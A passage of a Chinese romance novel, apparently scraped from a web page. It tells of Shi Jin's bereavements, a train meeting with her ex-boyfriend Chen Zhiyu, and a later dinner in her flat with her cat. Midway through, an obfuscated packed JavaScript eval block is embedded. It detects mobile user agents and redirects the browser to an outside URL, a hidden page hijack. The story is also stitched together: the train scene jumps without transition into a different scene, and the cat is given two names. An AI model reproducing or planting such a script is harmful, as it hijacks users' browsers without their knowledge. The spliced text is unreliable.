时锦虽然是独居，但并不怎么会做饭。
和小说里常有的安排不同，性格理智又情绪稳定的时锦其实生活在一个很正常的家庭里面。
青梅竹马的父母感情和睦，家庭关系幸福又美满。
但再怎么幸福的家庭，也总会有阵雨。
时锦的阵雨，出现在少年时期。
因为父母工作性质特殊，时锦常年跟着祖辈生活在小镇里。
或许是天生的性格原因，又或许是除了工作日她都能和父母正常见面。
多种因素加持下，在镇子里和长辈生活的那几年，时锦其实过得非常开心。
镇上到处都是同龄的小孩，他们有数不尽的共同话题可以聊。
更别提从小就暴露出来的学霸气质，让她基本就没碰上过什么挫折。
直到，从小陪伴她的人接连离世。
外公去世的时候，时锦正在读小学六年级。
慢性病在他身上已经存在很久，突然的偏瘫让他再也无法正常行走。
一次意外摔倒后，更是彻底丧失了离开床铺的能力。
而就在他离世前两天，时锦还去看过他。
遍布老年斑的手指无力地搭在床边，眼前的人就像是枯树一般苍老，面对周围人的关心只能用费劲的眨眼来应对。
外公走得很安静，在睡梦中离世。
时锦陪着妈妈度过了最难熬的日子。
也是在那之后，她搬回到市区，开始在家附近的学校读初中。
后来初二那年，爷爷也过世了。
时锦记得很清楚。
明明前一年爷爷的身体还是硬朗无比，可以徒步走好几公里去集市。
但只过了一年，他的身体就像是突然枯萎的植物一样，衰退到连走两步路都要停下来歇一歇的程度。
比起外公离世时候的懵懵懂懂，这个时候的时锦，对死亡有了更深的见解。
当然，这也并不代表她就比别人更成熟多少。
她只是愈发珍惜活着的人。
初中毕业之后，时锦随着父母一起搬去庆城，但外婆与奶奶依然留在葵厘镇。
即使在科技发达的今天，人们已经可以通过各种各样的电子设备与亲人相见。
但时锦却还是觉得，无论哪种相见，都比不上现实世界里真实的触碰。
所以在那之后，只要有空闲的时间，她就会主动回到葵厘镇。
回到陪伴她一整个童年的老人身旁。
回到这个，她从小就在的地方。
时锦每次回去坐的是同一列火车。
硬座五个小时刚好能到达葵市边缘，然后再转公交坐一个小时到葵厘镇。
慢悠悠走到家门口时，正好能赶上吃晚饭的时间。
爷爷离世后，外婆和奶奶便搬到了一起住。
两人从邻居变成亲家，再变成一起度过剩余孤独人生的友人。
在葵厘镇的时光总是很惬意。
直到高一的那个暑假。
六月二十七号中午，时锦像往常一样从庆北的火车站出发，坐K124列车，目的地是葵市。
夏天的阳光灼热耀眼。
车厢里冷气开得很足，好在时锦提前带了件薄外套。
人流来来往往，因为是起始站，周遭落座的人并不是很多。
直到身前突然有人坐下。
隔着白色的小桌板，她看到了无比熟悉的一张脸。
“你怎么会在这？”她忍不住问。
男生轻笑：“我为什么不能在这？”
不想和他进行没意义的争论，时锦从口袋里拿出耳机线。
“你去哪？”陈知聿突然问。
时锦蹙眉：“我不想告诉你。”
“我去葵厘镇。”他低声说。
平静的眸光一瞬颤动起来，女孩子忍不住皱眉，脸上抵触的表情一下子就暴露了她内心所想。
陈知聿抿嘴轻笑。
“真巧。”
“我们去的是同一个地方。”
他去葵厘镇的次数其实并不算多，但坐的车次很固定。
刚好就和时锦是同一列。
六月初，学校为了排查暑期安全问题，曾经统计过每位同学的假期去向。
记录册子一直放在乔延的桌上。
乔老师，暑假我有别的安排。
他这样对乔延说。
不去国外了？乔延疑惑。
嗯。
他翻看着桌上的登记册。
去爷爷家。
他低声回复。
白纸上，紧靠在“时锦”名字后面的葵厘镇字样落到他的眼底。
陈知聿有一瞬的怔愣。
片刻，嘴角一勾，露出淡淡的笑意。
-
来过两次，陈知聿熟门熟路地就把车开到了她住的小区门口。
虽然话是那样说，但时锦不可能真得请陈知聿吃泡面。
所以回去的路上，她干脆就在手机里点好了外卖。
等坐电梯到达家门口的时候，外卖也刚好送达。
“不是吃泡面吗？”他歪头问她。
时锦闷哼一声：“我也没吃饭。”
陈知聿双手插兜，刚才还冷冷的脸上现在不知为何满是笑意。
指纹解锁，时锦轻轻拉开房门，按下门边的开关。
比头顶灯更先亮起的是小猫咪闪烁的一双远光灯。
她取下斜挎包随手放到玄关上，转身伸出手拦住后面走进来的人。
“你等一会儿。”
被女人突然用手指抵在胸前，陈知聿身子骤然僵住。
薄薄的衬衫外是女人柔软温热的指腹，稍稍晃动，指尖便会不小心划过，像是直接划在了他的皮肤上，带起一阵热气。
时锦拿出纸盒里的喷雾朝他喷了喷，轻声解释：“我家有小猫，要消毒。”
他记得。
她有一只叫“锦聿”的小猫。
换了一次性拖鞋，他果断提着外卖袋越过时锦，像是回了自己家一样自然而然地走到餐桌旁边。
时锦的家不大，一眼就能看完。
陈知聿环视一圈。
很好，没有男人生活过的痕迹。
时锦抿着唇擦了擦手：“不用等我，你先吃，我给金鱼开个罐头。”
陈知聿没动弹，抬眸看着她从柜子上取下铁罐。
脱下外套后，里头的衬衫比较松散，女人纤细的胳膊因为抬手而显露出来。
想比起之前，她瘦了好多。
似乎是因为发现家里有外人，小猫咪在地面奔走的速度有些快。
陈知聿低头，只能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451704|185184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到有个圆滚滚的团子从茶几底下钻过。
几秒后，出现在女人纤细的脚踝旁边，竖着尾巴黏人地在她脚边转了一圈又一圈。
他蹲下身子，朝着那边唤了一声。
“金鱼……”
理所当然的，小猫咪连一个眼神都没有施舍给他，它只是专注地看着自己的妈妈，等待着一会即将满足的口腹之欲。
犯不着和小猫生气，陈知聿打开外卖包装，把东西在桌上摆好。
时锦点的是家常菜，红烧排骨、可乐鸡翅、还有一道清炒时蔬。
两个人吃绰绰有余。
只是看着桌上的各式菜品，陈知聿本就浮动的心思不免又有些蠢蠢欲动。
时锦是喜欢吃辣的。
不能吃辣的人是他。
喂完猫，她又去厨房洗了个手，走到餐桌边的时候，某人依然没有动筷，像是正在等着她。
时锦慢吞吞在他对面坐下，看着男人垂下的眼睫，轻声问：“不合胃口吗？”
陈知聿摇了摇头：“没有。”
“在等你。”他淡淡补充。
时锦巴不得他能吃快一点，早点吃完早点送走，用餐间隙硬是憋着一句话都没说。
安静的房间里，秋风从窗帘缝隙溜进，除了小猫金鱼来回跑酷发出的哒哒脚步声，一点别的声音都没有。
估计是刚刚饿过了，时锦此时胃口一般，没怎么吃就放下了手中的筷子。
身子懒散地靠上椅背，她转头往一旁勾了勾手指。
花色晕染得恰到好处的小猫接到指令立即飞奔而来，从地上轻轻蹦到她的怀里，软软的肉垫踩在她的裤子上，印出小小的梅花痕迹。
胸前被小猫用脑袋黏人地抵着，时锦伸手摸了摸，脖颈被金鱼耳朵上的毛刮得有些痒，忍不住轻声笑了笑。
“我吃完了。”陈知聿放下筷子说。
时锦抬头看了看，点点头：“放着吧，等会我自己收拾就行。”
陈知聿眉毛上挑：“这么着急赶我走？”
时锦不置可否，只低声说：“天气预报晚上有阵雨，再不走等一会就下大了。”
陈知聿身子慵懒地往后一靠，淡淡道：“怎么说我也给小金鱼买了那么多零食，临走之前不能让我抱抱吗？”
时锦没想到他会把话题转移到猫咪身上，摸了摸小猫的爪子。
“……它认生，我怕它抓你。”
“那……摸摸总行吧？”
他退后一步道。
“你以前不是最讨厌猫吗？”
时锦忍不住提问。
陈知聿勾勾唇，轻笑：“你以前不还说，绝对不会养宠物的吗?”
表情霎时僵硬了一秒，她垂下头看着怀里柔软可爱的小猫。
“……人都是会变的。”
她轻声说。
以前的的时锦总觉得一个人也能过得很好。
可是大四毕业那年，看着本来空旷冷清的小房间，因为金鱼的到来而逐渐被玩具与零食填满的样子。
时锦的心底无端产生了许多的庆幸。
尤其是当她忙碌了一整天，拖着疲惫的身子终于回到家的时候。
在小猫扑进她怀里的那个瞬间，时锦是真真切切地有了被爱意填满的感觉。
那是和陈知聿分手后再没有过的感觉。